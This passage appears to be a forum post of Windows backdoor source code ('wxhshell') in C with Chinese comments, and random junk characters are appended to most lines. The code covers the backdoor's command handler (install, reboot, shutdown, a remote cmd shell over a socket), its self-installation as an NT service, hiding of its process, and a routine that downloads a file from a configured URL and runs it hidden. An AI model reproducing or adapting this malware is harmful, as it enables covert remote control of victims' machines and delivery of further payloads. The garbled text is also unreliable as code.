  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vbJMgdHFR  
  } 1uzfV)  
  else { <-7Ha_#  
x9s`H)  
    switch(cmd[0]) { 13 p0w  
  Y :BrAa[  
  // 帮助 24l9/v'  
  case '?': { K*RRbtb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hUc |Xm  
    break; ?"Q6;np*  
  } lph_cY3p  
  // 安装 P~>nlm82]  
  case 'i': { EJY:C9W  
    if(Install()) @Q5^Q'!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q\Z1-sl~s  
    else i/B"d,=<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "E#%x{d  
    break; !OemS 7{  
    } oWOZ0]H1  
  // 卸载 Zwl?*t\D  
  case 'r': { Os+ =}  
    if(Uninstall()) 1-<Xi-=^{t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qILr+zH  
    else 5J3kQ;5Q?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '-{jn+,  
    break; 2V 'Tt3  
    } =z.AQe+   
  // 显示 wxhshell 所在路径 2Ta F7Jn  
  case 'p': { )BDi2: u  
    char svExeFile[MAX_PATH]; =B2=UF  
    strcpy(svExeFile,"\n\r"); vS<e/e+  
      strcat(svExeFile,ExeFile); 2YQ$hL~  
        send(wsh,svExeFile,strlen(svExeFile),0); $ E6uA}s  
    break; H& +s&F{%  
    } \ 02e zG  
  // 重启 euK!JZ  
  case 'b': { .quc i(D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cd#TKmh7re  
    if(Boot(REBOOT)) PX'%)5:q;i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #UIg<:  
    else { HN%ZN}  
    closesocket(wsh); k5M(Ve  
    ExitThread(0); "m5ZZG#R`  
    } v-qS 'N 4  
    break; dRmTE  
    } yKJp37R  
  // 关机  _>l,%n  
  case 'd': { A 78{b^0*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zvWQ&?&o2  
    if(Boot(SHUTDOWN)) 38^_(N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SQK6BEjE8  
    else { llJ)u!=5  
    closesocket(wsh); 0Jrk(k!  
    ExitThread(0); wAYc)u#  
    } hJ :+*46  
    break; m? hX=  
    } ap!<8N  
  // 获取shell !)]3 @$#  
  case 's': { DJ.Ct4  
    CmdShell(wsh); HIAd"}^  
    closesocket(wsh); &gfQZxT  
    ExitThread(0); k:.c(_2M  
    break; Lb/_ULo6-V  
  } ~ln,Cm} 4  
  // 退出 ebchHnOd  
  case 'x': { ,58[WZG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3z<t#  
    CloseIt(wsh); tuSgh!  
    break; `,O^=HBM  
    } xM,3F jF  
  // 离开 s zg1.&  
  case 'q': { rO~D{)Nu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t30V_`eQ  
    closesocket(wsh); A(B2XBS!?  
    WSACleanup(); as8<c4:v  
    exit(1); V !$m{)Y  
    break; s_N!6$tS   
        } 0=iJT4IEJ  
  } ,MJZ*"V/3  
  } bH&H\ Mx_k  
6SwHl_2%  
  // 提示信息 sAxn ; `  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LO229`ARr|  
} \wd~ Y  
  } .:0nK bW  
Z3d&I]Tf  
  return; f]4gDmn^  
}  E=E  
Vz^:| qON  
// shell模块句柄 o0q{:An_Z  
int CmdShell(SOCKET sock) q0 <g#jK  
{ C~B^sG@;  
STARTUPINFO si; &uM?DQ`o8  
ZeroMemory(&si,sizeof(si)); dxA=gL2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k&2I(2S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 03xQ%"TU<  
PROCESS_INFORMATION ProcessInfo; x]:mc%4-Z  
char cmdline[]="cmd"; dNR4h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |@ + x9|'W  
  return 0; :;EzvRy  
} PHoW|K_e  
$8Zw<aEJ  
// 自身启动模式 Jad'8}0J  
int StartFromService(void) AjpQb ~\  
{ l\eq/yg_  
typedef struct f%af.cR*  
{ lL?;?V~  
  DWORD ExitStatus; #q-t!C%E  
  DWORD PebBaseAddress; [|3 %~s|Sv  
  DWORD AffinityMask; v1: 5 r  
  DWORD BasePriority; I;7VX5X  
  ULONG UniqueProcessId; h*Ej}_  
  ULONG InheritedFromUniqueProcessId; SWu=n1J.?H  
}   PROCESS_BASIC_INFORMATION; 84k;d;  
Y9C]-zEv  
PROCNTQSIP NtQueryInformationProcess; zr,jaR;  
Cpr}*A   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p|Ln;aYc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &EMm<(.]a  
JS4pJe\q  
  HANDLE             hProcess; |Q{l ]D  
  PROCESS_BASIC_INFORMATION pbi; kmf4ax h1  
8=$@azG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eI@O9<.&  
  if(NULL == hInst ) return 0; c;Li~FLR  
5d)G30  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (Az^st/_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X(8 ]9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u5lj+?  
p7z#4 GW  
  if (!NtQueryInformationProcess) return 0; ), n?"  
Yy&0b(m U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2$jY_{B+x  
  if(!hProcess) return 0; ZnQnv@{8 l  
6Cibc .vt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }MoCUN)I  
E\ QSU88^  
  CloseHandle(hProcess); HLS^Ga,(  
I(2ID +  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j*P@]&e7d  
if(hProcess==NULL) return 0; sh0O~%]g  
a+Q)~13  
HMODULE hMod; pgI@[zp7  
char procName[255]; N @k:kI  
unsigned long cbNeeded; S"lcePN  
*d@}'De{8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  W?.Y%wc0  
}JI5,d  
  CloseHandle(hProcess); LnBkd:>}  
4kx#=MLt  
if(strstr(procName,"services")) return 1; // 以服务启动 1j}o. 0\  
<Wl! Qog'  
  return 0; // 注册表启动 1[!Idl?m  
} HzW ZQ6o  
\PL92HV  
// 主模块 _ yU e2Gd  
int StartWxhshell(LPSTR lpCmdLine) l9n 8v\8,o  
{ &4 ]%&mX)-  
  SOCKET wsl; fz:F*zT1  
BOOL val=TRUE; P afmHXx  
  int port=0; 'Y[\[]3[8  
  struct sockaddr_in door; -2f0CAh~  
m0 `wmM  
  if(wscfg.ws_autoins) Install(); %F03cI,  
py)V7*CgH  
port=atoi(lpCmdLine);  pxP7yJL`  
L-Z1Xs  
if(port<=0) port=wscfg.ws_port; 8R)*8bb  
:kgwKuhL  
  WSADATA data; |gT$M _}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D|OX]3~  
Uq"RyvkpP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B [03,zVf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w2 CgEJ %  
  door.sin_family = AF_INET; K 5!k06;s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o8bV z2E  
  door.sin_port = htons(port); wZ29/{,  
)\t#e`3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .Yo# vV  
closesocket(wsl); 7n %QP  
return 1; ~aBALD0D;  
} S0\:1B  
R D)dw  
  if(listen(wsl,2) == INVALID_SOCKET) { ^5xY&1j  
closesocket(wsl); &bTadd%0  
return 1; yBeSvsm  
} SdN|-'qf  
  Wxhshell(wsl); x_#yH3kJ  
  WSACleanup(); |rsu+0Mtz  
='>k|s:  
return 0; +i{&"o4}  
}Vg &9HY  
} cJL>,Z<|%  
@aI`ru+a  
// 以NT服务方式启动 \\BblzGMR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Yr"G)i~"Y  
{ {n{ j*+  
DWORD   status = 0; Lk`0z  
  DWORD   specificError = 0xfffffff; M7UVL&_z%  
P oC*>R8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =TU"B-*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7(ZI]<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N9_9{M{  
  serviceStatus.dwWin32ExitCode     = 0; DOf[?vbu  
  serviceStatus.dwServiceSpecificExitCode = 0; !Il<'+ ^  
  serviceStatus.dwCheckPoint       = 0; $7,n8ddRy  
  serviceStatus.dwWaitHint       = 0; ;p) gTQa  
PJO +@+"{@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `[[ A 7  
  if (hServiceStatusHandle==0) return; pM.>u/=X  
pl'n 0L<l  
status = GetLastError(); izOtt^#DZt  
  if (status!=NO_ERROR) t4 $cMf  
{ 4WU 6CN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Zn&X Uvdl  
    serviceStatus.dwCheckPoint       = 0; cy%^P^M  
    serviceStatus.dwWaitHint       = 0; SkVW8n*s  
    serviceStatus.dwWin32ExitCode     = status; ?;!l-Dy  
    serviceStatus.dwServiceSpecificExitCode = specificError; -k")#1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cl)%qIXj}H  
    return; ,}F{V>dhn  
  } enE8T3   
/id(atiF^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6imDA]5N&  
  serviceStatus.dwCheckPoint       = 0; ]#KZ W)M  
  serviceStatus.dwWaitHint       = 0; Ez+.tbEA,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XoL9:s(m~  
} ;}WdxWw4  
V]<J^m8  
// 处理NT服务事件,比如:启动、停止 @<r  ;>G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L:j;;9Sp{  
{  E*i <P  
switch(fdwControl) AI/xOd!a  
{ 9Iy>oV  
case SERVICE_CONTROL_STOP: h{qB\aK  
  serviceStatus.dwWin32ExitCode = 0; l '<gkwX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @'jC>BS8`  
  serviceStatus.dwCheckPoint   = 0; !Zlvz%X  
  serviceStatus.dwWaitHint     = 0; ney6N@  
  { Sycs u_je  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _T)dmhG  
  } \k;*Ej~.  
  return; rt^<=|Z  
case SERVICE_CONTROL_PAUSE: !ku5P+y$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [r<lAS{ .  
  break; ldO6W7 G|h  
case SERVICE_CONTROL_CONTINUE: vrLI`3n]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1s"6  
  break; &FW|O(]  
case SERVICE_CONTROL_INTERROGATE: *C}vy`X  
  break; 1-Sc@WXd  
}; f@]4udc e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'OK)[\  
} t9;yyZh  
Yx>=(B  
// 标准应用程序主函数 7 `thM/fN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c>,|[zP{  
{ "at*G>+  
Kp!sn,:  
// 获取操作系统版本 UPfH~H[1)  
OsIsNt=GetOsVer(); +W x/zo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g#2Q1t,~U  
.q"`)PT  
  // 从命令行安装 %lF}!  
  if(strpbrk(lpCmdLine,"iI")) Install(); *$0u A N  
C{H:-"\J9  
  // 下载执行文件 ^/h,C^/;  
if(wscfg.ws_downexe) { 8F9sKRq|rO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c!d>6:\  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]_G!(`Udh  
} z GhJ  
nB[Aw7^|A  
if(!OsIsNt) { 0hp*(, L  
// 如果时win9x,隐藏进程并且设置为注册表启动 j|N;&s`  
HideProc(); tg_v\n  
StartWxhshell(lpCmdLine); R/VrBiw  
} TyI"fP  
else }'U "HHv  
  if(StartFromService()) /J")S?. [u  
  // 以服务方式启动 *F42GiBZR  
  StartServiceCtrlDispatcher(DispatchTable); URz$hcI8  
else Y &6vTU  
  // 普通方式启动 N<}{oIsZ+  
  StartWxhshell(lpCmdLine); KP(RK4F  
B b_R~1 l  
return 0; !vH7vq  
}
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只看该作者 1 发表于: 2006-10-10
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